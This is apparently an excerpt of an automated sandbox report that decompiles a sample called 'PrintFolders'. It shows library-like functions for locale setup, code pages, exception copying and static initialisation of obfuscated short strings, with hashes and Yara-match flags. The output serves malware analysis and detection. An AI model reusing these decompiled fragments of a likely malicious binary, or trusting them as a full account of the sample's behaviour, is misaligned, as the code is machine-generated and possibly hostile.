                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: EncodePointer
                                                          • String ID: MOC$RCC
                                                          • API String ID: 2118026453-2084237596
                                                          • Opcode ID: 4d7ed7e1a438cb125378e558f69cca30710cf17c4f75dbaa5e6bce22c7dbe1d5
                                                          • Instruction ID: d582f20fa4c8ccc8f50c3cacdc6089d2bedb682b0b99dde694d4e72c5554890f
                                                          • Opcode Fuzzy Hash: 4d7ed7e1a438cb125378e558f69cca30710cf17c4f75dbaa5e6bce22c7dbe1d5
                                                          • Instruction Fuzzy Hash: EB41AC71900209EFEF16CF94CC81AEE7BB5FF48385F158099F909A7265D736AA50CB90
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 63%
                                                          			E00403F10(intOrPtr _a4) {
                                                          				char _v8;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				char _v48;
                                                          				void* __ecx;
                                                          				void* __ebp;
                                                          				signed int _t34;
                                                          				signed int _t42;
                                                          				void* _t52;
                                                          				intOrPtr _t61;
                                                          				intOrPtr _t68;
                                                          				intOrPtr _t69;
                                                          				signed int _t74;
                                                          				void* _t75;
                                                          
                                                          				_push(0xffffffff);
                                                          				_push(0x42c40f);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t61);
                                                          				_t34 =  *0x43d054; // 0x6e36c9b5
                                                          				_push(_t34 ^ _t72);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t68 = _t61;
                                                          				_v20 = _t68;
                                                          				E0040E0A3(_t61, 0);
                                                          				_v8 = 0;
                                                          				 *((intOrPtr*)(_t68 + 4)) = 0;
                                                          				 *((char*)(_t68 + 8)) = 0;
                                                          				 *((intOrPtr*)(_t68 + 0xc)) = 0;
                                                          				 *((char*)(_t68 + 0x10)) = 0;
                                                          				 *((intOrPtr*)(_t68 + 0x14)) = 0;
                                                          				 *((short*)(_t68 + 0x18)) = 0;
                                                          				 *((intOrPtr*)(_t68 + 0x1c)) = 0;
                                                          				 *((short*)(_t68 + 0x20)) = 0;
                                                          				 *((intOrPtr*)(_t68 + 0x24)) = 0;
                                                          				 *((char*)(_t68 + 0x28)) = 0;
                                                          				 *((intOrPtr*)(_t68 + 0x2c)) = 0;
                                                          				 *((char*)(_t68 + 0x30)) = 0;
                                                          				_t39 = _a4;
                                                          				_v8 = 6;
                                                          				if(_a4 == 0) {
                                                          					E0040E056("bad locale name");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					asm("int3");
                                                          					_push(0xffffffff);
                                                          					_push(0x42c430);
                                                          					_push( *[fs:0x0]);
                                                          					_push(_t68);
                                                          					_t42 =  *0x43d054; // 0x6e36c9b5
                                                          					_push(_t42 ^ _t74);
                                                          					 *[fs:0x0] =  &_v48;
                                                          					_t69 = _t61;
                                                          					E0040E3D1(_t61, _t69);
                                                          					_t46 =  *((intOrPtr*)(_t69 + 0x2c));
                                                          					_t75 = _t74 + 4;
                                                          					if( *((intOrPtr*)(_t69 + 0x2c)) != 0) {
                                                          						E00415F78(_t46);
                                                          						_t75 = _t75 + 4;
                                                          					}
                                                          					 *((intOrPtr*)(_t69 + 0x2c)) = 0;
                                                          					_t47 =  *((intOrPtr*)(_t69 + 0x24));
                                                          					if( *((intOrPtr*)(_t69 + 0x24)) != 0) {
                                                          						E00415F78(_t47);
                                                          						_t75 = _t75 + 4;
                                                          					}
                                                          					 *((intOrPtr*)(_t69 + 0x24)) = 0;
                                                          					_t48 =  *((intOrPtr*)(_t69 + 0x1c));
                                                          					if( *((intOrPtr*)(_t69 + 0x1c)) != 0) {
                                                          						E00415F78(_t48);
                                                          						_t75 = _t75 + 4;
                                                          					}
                                                          					 *((intOrPtr*)(_t69 + 0x1c)) = 0;
                                                          					_t49 =  *((intOrPtr*)(_t69 + 0x14));
                                                          					if( *((intOrPtr*)(_t69 + 0x14)) != 0) {
                                                          						E00415F78(_t49);
                                                          						_t75 = _t75 + 4;
                                                          					}
                                                          					 *((intOrPtr*)(_t69 + 0x14)) = 0;
                                                          					_t50 =  *((intOrPtr*)(_t69 + 0xc));
                                                          					if( *((intOrPtr*)(_t69 + 0xc)) != 0) {
                                                          						E00415F78(_t50);
                                                          						_t75 = _t75 + 4;
                                                          					}
                                                          					 *((intOrPtr*)(_t69 + 0xc)) = 0;
                                                          					_t51 =  *((intOrPtr*)(_t69 + 4));
                                                          					if( *((intOrPtr*)(_t69 + 4)) != 0) {
                                                          						E00415F78(_t51);
                                                          					}
                                                          					 *((intOrPtr*)(_t69 + 4)) = 0;
                                                          					_t52 = E0040E0FB(_t69);
                                                          					 *[fs:0x0] = _v20;
                                                          					return _t52;
                                                          				} else {
                                                          					E0040E386(_t61, _t68, _t39);
                                                          					 *[fs:0x0] = _v16;
                                                          					return _t68;
                                                          				}
                                                          			}

















                                                          0x00403f13
                                                          0x00403f15
                                                          0x00403f20
                                                          0x00403f21
                                                          0x00403f23
                                                          0x00403f2a
                                                          0x00403f2e
                                                          0x00403f34
                                                          0x00403f36
                                                          0x00403f3b
                                                          0x00403f40
                                                          0x00403f47
                                                          0x00403f4e
                                                          0x00403f52
                                                          0x00403f59
                                                          0x00403f5f
                                                          0x00403f66
                                                          0x00403f6a
                                                          0x00403f6d
                                                          0x00403f71
                                                          0x00403f74
                                                          0x00403f77
                                                          0x00403f7a
                                                          0x00403f7d
                                                          0x00403f80
                                                          0x00403f86
                                                          0x00403fab
                                                          0x00403fb0
                                                          0x00403fb1
                                                          0x00403fb2
                                                          0x00403fb3
                                                          0x00403fb4
                                                          0x00403fb5
                                                          0x00403fb6
                                                          0x00403fb7
                                                          0x00403fb8
                                                          0x00403fb9
                                                          0x00403fba
                                                          0x00403fbb
                                                          0x00403fbc
                                                          0x00403fbd
                                                          0x00403fbe
                                                          0x00403fbf
                                                          0x00403fc3
                                                          0x00403fc5
                                                          0x00403fd0
                                                          0x00403fd1
                                                          0x00403fd2
                                                          0x00403fd9
                                                          0x00403fdd
                                                          0x00403fe3
                                                          0x00403fe6
                                                          0x00403feb
                                                          0x00403fee
                                                          0x00403ff3
                                                          0x00403ff6
                                                          0x00403ffb
                                                          0x00403ffb
                                                          0x00403ffe
                                                          0x00404005
                                                          0x0040400a
                                                          0x0040400d
                                                          0x00404012
                                                          0x00404012
                                                          0x00404015
                                                          0x0040401c
                                                          0x00404021
                                                          0x00404024
                                                          0x00404029
                                                          0x00404029
                                                          0x0040402c
                                                          0x00404033
                                                          0x00404038
                                                          0x0040403b
                                                          0x00404040
                                                          0x00404040
                                                          0x00404043
                                                          0x0040404a
                                                          0x0040404f
                                                          0x00404052
                                                          0x00404057
                                                          0x00404057
                                                          0x0040405a
                                                          0x00404061
                                                          0x00404066
                                                          0x00404069
                                                          0x0040406e
                                                          0x00404073
                                                          0x0040407a
                                                          0x00404082
                                                          0x0040408e
                                                          0x00403f88
                                                          0x00403f8a
                                                          0x00403f97
                                                          0x00403fa3
                                                          0x00403fa3

                                                          APIs
                                                          • std::_Lockit::_Lockit.LIBCPMT ref: 00403F3B
                                                          • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00403F8A
                                                            • Part of subcall function 0040E386: _Yarn.LIBCPMT ref: 0040E3A5
                                                            • Part of subcall function 0040E386: _Yarn.LIBCPMT ref: 0040E3C9
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
                                                          • String ID: bad locale name
                                                          • API String ID: 1908188788-1405518554
                                                          • Opcode ID: 0698450c758f5080945dd03671431322a62a555b97a6e35c8aa63d649f4640dc
                                                          • Instruction ID: 0e1965beb74f9ff9c4f9f037bd33cd57e17261f8de89b9630023cdf888844aec
                                                          • Opcode Fuzzy Hash: 0698450c758f5080945dd03671431322a62a555b97a6e35c8aa63d649f4640dc
                                                          • Instruction Fuzzy Hash: E0119171904B849FD320CF69C901747BBF4EB19714F004A2EE849D3B81D7B9A504CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E00409290(void* __edx, void* __edi, void* __esi) {
                                                          				signed int _v8;
                                                          				short _v12;
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				void* __ebx;
                                                          				signed int _t10;
                                                          				intOrPtr _t13;
                                                          				void* _t25;
                                                          				void* _t26;
                                                          				void* _t27;
                                                          				signed int _t28;
                                                          
                                                          				_t27 = __esi;
                                                          				_t26 = __edi;
                                                          				_t25 = __edx;
                                                          				_t10 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t10 ^ _t28;
                                                          				_v24 = 0x5c5a5d08;
                                                          				_v20 = 0x13434f4b;
                                                          				_t22 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          				_t13 =  *0x450f00; // 0x80000016
                                                          				_v16 = 0x5a564743;
                                                          				_v12 = 0x4159;
                                                          				if(_t13 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
                                                          					E0040EF48(_t13, 0x450f00);
                                                          					_t33 =  *0x450f00 - 0xffffffff;
                                                          					if( *0x450f00 == 0xffffffff) {
                                                          						asm("movq xmm0, [ebp-0x14]");
                                                          						 *0x450f30 = _v16;
                                                          						asm("movq [0x450f28], xmm0");
                                                          						 *0x450f34 = _v12;
                                                          						 *0x450f36 = 0x2e;
                                                          						E0040F25B(_t22, _t33, 0x42d460);
                                                          						E0040EEFE(0x450f00);
                                                          					}
                                                          				}
                                                          				return E0040EBBF(0x450f28, 0x2e, _v8 ^ _t28, _t25, _t26, _t27);
                                                          			}















                                                          0x00409290
                                                          0x00409290
                                                          0x00409290
                                                          0x00409296
                                                          0x0040929d
                                                          0x004092a7
                                                          0x004092b0
                                                          0x004092b7
                                                          0x004092b9
                                                          0x004092be
                                                          0x004092c5
                                                          0x004092d1
                                                          0x004092d8
                                                          0x004092e0
                                                          0x004092e7
                                                          0x004092ec
                                                          0x004092f1
                                                          0x004092ff
                                                          0x00409307
                                                          0x0040930d
                                                          0x00409313
                                                          0x0040931d
                                                          0x00409322
                                                          0x004092e7
                                                          0x00409338

                                                          APIs
                                                            • Part of subcall function 0040EF48: EnterCriticalSection.KERNEL32(004504FC,00450D8D,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF53
                                                            • Part of subcall function 0040EF48: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF90
                                                          • __Init_thread_footer.LIBCMT ref: 0040931D
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
                                                          • String ID: CGVZ$YA
                                                          • API String ID: 2296764815-3168216772
                                                          • Opcode ID: 6b3f2edf672ee7163d045f6b3c2ee22b3a52908d77dd1c4be6e8844974e40f80
                                                          • Instruction ID: e9a20a430b0b6afe83743553c5755eaecc9671b6d7f01568723836dade792edc
                                                          • Opcode Fuzzy Hash: 6b3f2edf672ee7163d045f6b3c2ee22b3a52908d77dd1c4be6e8844974e40f80
                                                          • Instruction Fuzzy Hash: 94012679E003089BCB20DFA5EC4159DB3B0EB09711F5006BEE90677392E778AA05CB5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 78%
                                                          			E00409460(void* __edx, void* __edi, void* __esi) {
                                                          				signed int _v8;
                                                          				short _v12;
                                                          				intOrPtr _v16;
                                                          				void* __ebx;
                                                          				signed int _t8;
                                                          				intOrPtr _t11;
                                                          				void* _t23;
                                                          				void* _t24;
                                                          				void* _t25;
                                                          				signed int _t26;
                                                          
                                                          				_t25 = __esi;
                                                          				_t24 = __edi;
                                                          				_t23 = __edx;
                                                          				_t8 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t8 ^ _t26;
                                                          				_v16 = 0x5e004041;
                                                          				_v12 = 0x5e46;
                                                          				_t20 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          				_t11 =  *0x450f50; // 0x80000019
                                                          				if(_t11 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
                                                          					E0040EF48(_t11, 0x450f50);
                                                          					_t31 =  *0x450f50 - 0xffffffff;
                                                          					if( *0x450f50 == 0xffffffff) {
                                                          						asm("movaps xmm0, [0x439d60]");
                                                          						 *0x450da8 = _v16;
                                                          						asm("movups [0x450d98], xmm0");
                                                          						 *0x450dac = _v12;
                                                          						 *0x450dae = 0x2e;
                                                          						E0040F25B(_t20, _t31, 0x42d3f0);
                                                          						E0040EEFE(0x450f50);
                                                          					}
                                                          				}
                                                          				return E0040EBBF(0x450d98, 0x2e, _v8 ^ _t26, _t23, _t24, _t25);
                                                          			}













                                                          0x00409460
                                                          0x00409460
                                                          0x00409460
                                                          0x00409466
                                                          0x0040946d
                                                          0x00409477
                                                          0x00409480
                                                          0x00409486
                                                          0x00409488
                                                          0x00409493
                                                          0x0040949a
                                                          0x004094a2
                                                          0x004094a9
                                                          0x004094ae
                                                          0x004094b5
                                                          0x004094c3
                                                          0x004094ca
                                                          0x004094d0
                                                          0x004094d6
                                                          0x004094e0
                                                          0x004094e5
                                                          0x004094a9
                                                          0x004094fb

                                                          APIs
                                                            • Part of subcall function 0040EF48: EnterCriticalSection.KERNEL32(004504FC,00450D8D,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF53
                                                            • Part of subcall function 0040EF48: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF90
                                                          • __Init_thread_footer.LIBCMT ref: 004094E0
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
                                                          • String ID: A@$F^
                                                          • API String ID: 2296764815-756130965
                                                          • Opcode ID: b3d270ef5b96a7ee1581324bb411de95daac9417756f6a0bdbb33eb6c345495d
                                                          • Instruction ID: 6c7a6d0756c4f162afa1c2070c0bcf59aef1f867ba74d1dc7902e0ff42b24005
                                                          • Opcode Fuzzy Hash: b3d270ef5b96a7ee1581324bb411de95daac9417756f6a0bdbb33eb6c345495d
                                                          • Instruction Fuzzy Hash: F901D239A003489BC710DFA9ED42599B370EB55701F5001BAE909673A2D678EA48CB1D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00424479(void* __eflags, int _a4) {
                                                          				char _v8;
                                                          				intOrPtr _v16;
                                                          				char _v20;
                                                          				int _t10;
                                                          				void* _t14;
                                                          
                                                          				_t1 =  &_v20; // 0x4246ea
                                                          				E00413621(_t1, _t14, 0);
                                                          				 *0x450cc0 =  *0x450cc0 & 0x00000000;
                                                          				_t10 = _a4;
                                                          				if(_t10 != 0xfffffffe) {
                                                          					if(_t10 != 0xfffffffd) {
                                                          						if(_t10 == 0xfffffffc) {
                                                          							 *0x450cc0 = 1;
                                                          							_t10 =  *(_v16 + 8);
                                                          						}
                                                          					} else {
                                                          						 *0x450cc0 = 1;
                                                          						_t10 = GetACP();
                                                          					}
                                                          				} else {
                                                          					 *0x450cc0 = 1;
                                                          					_t10 = GetOEMCP();
                                                          				}
                                                          				if(_v8 == 0) {
                                                          					return _t10;
                                                          				} else {
                                                          					_t6 =  &_v20; // 0x4246ea
                                                          					 *( *_t6 + 0x350) =  *( *_t6 + 0x350) & 0xfffffffd;
                                                          					return _t10;
                                                          				}
                                                          			}








                                                          0x00424481
                                                          0x00424486
                                                          0x0042448b
                                                          0x00424492
                                                          0x00424498
                                                          0x004244af
                                                          0x004244c6
                                                          0x004244cb
                                                          0x004244d5
                                                          0x004244d5
                                                          0x004244b1
                                                          0x004244b1
                                                          0x004244bb
                                                          0x004244bb
                                                          0x0042449a
                                                          0x0042449a
                                                          0x004244a4
                                                          0x004244a4
                                                          0x004244dc
                                                          0x004244e9
                                                          0x004244de
                                                          0x004244de
                                                          0x004244e1
                                                          0x00000000
                                                          0x004244e1

                                                          APIs
                                                          • GetOEMCP.KERNEL32(00000000,004246EA,00000000,00418194,?,?,00418194,?,00000000), ref: 004244A4
                                                          • GetACP.KERNEL32(00000000,004246EA,00000000,00418194,?,?,00418194,?,00000000), ref: 004244BB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: FB
                                                          • API String ID: 0-3670039715
                                                          • Opcode ID: 68332179f40c49eab4e966d4ddaa84e174b0e6e01ad48db93ae2ad237c21ce19
                                                          • Instruction ID: 521155ed4fd04c10d09fec07b2a217d09ec56201c3508306b013a50f1c28b22d
                                                          • Opcode Fuzzy Hash: 68332179f40c49eab4e966d4ddaa84e174b0e6e01ad48db93ae2ad237c21ce19
                                                          • Instruction Fuzzy Hash: 14F0C230600220DBCB14EB64E8487BD3770FB8133AFA00755E034872E2CBB49941CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 77%
                                                          			E00403D90(intOrPtr* __ecx, intOrPtr _a4) {
                                                          				intOrPtr* _t16;
                                                          				intOrPtr _t18;
                                                          
                                                          				_t18 = _a4;
                                                          				asm("xorps xmm0, xmm0");
                                                          				_t16 = __ecx;
                                                          				 *__ecx = 0x42e2d4;
                                                          				asm("movq [eax], xmm0");
                                                          				E0040FF71(_t18 + 4, __ecx + 4);
                                                          				 *_t16 = 0x439c98;
                                                          				 *((intOrPtr*)(_t16 + 0xc)) =  *((intOrPtr*)(_t18 + 0xc));
                                                          				 *((intOrPtr*)(_t16 + 0x10)) =  *((intOrPtr*)(_t18 + 0x10));
                                                          				 *_t16 = 0x439d04;
                                                          				return _t16;
                                                          			}





                                                          0x00403d94
                                                          0x00403d97
                                                          0x00403d9b
                                                          0x00403da1
                                                          0x00403da7
                                                          0x00403daf
                                                          0x00403db4
                                                          0x00403dc3
                                                          0x00403dc8
                                                          0x00403dcb
                                                          0x00403dd4

                                                          APIs
                                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00403DAF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ___std_exception_copy
                                                          • String ID: `=@$`=@
                                                          • API String ID: 2659868963-2373854662
                                                          • Opcode ID: 4b50160e959331e57da2a4db2d37d7e516b6b0fad8e09b272cf4e57e40a249b1
                                                          • Instruction ID: c33fae4a20f9ec275494595788b59750feb4b5a2f93437c52e8352574578c9ea
                                                          • Opcode Fuzzy Hash: 4b50160e959331e57da2a4db2d37d7e516b6b0fad8e09b272cf4e57e40a249b1
                                                          • Instruction Fuzzy Hash: 2CF0ACB6A10716AB8714DF59D440882F7ECFF59320714C62BE519D7B00F7B4A954CBA4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%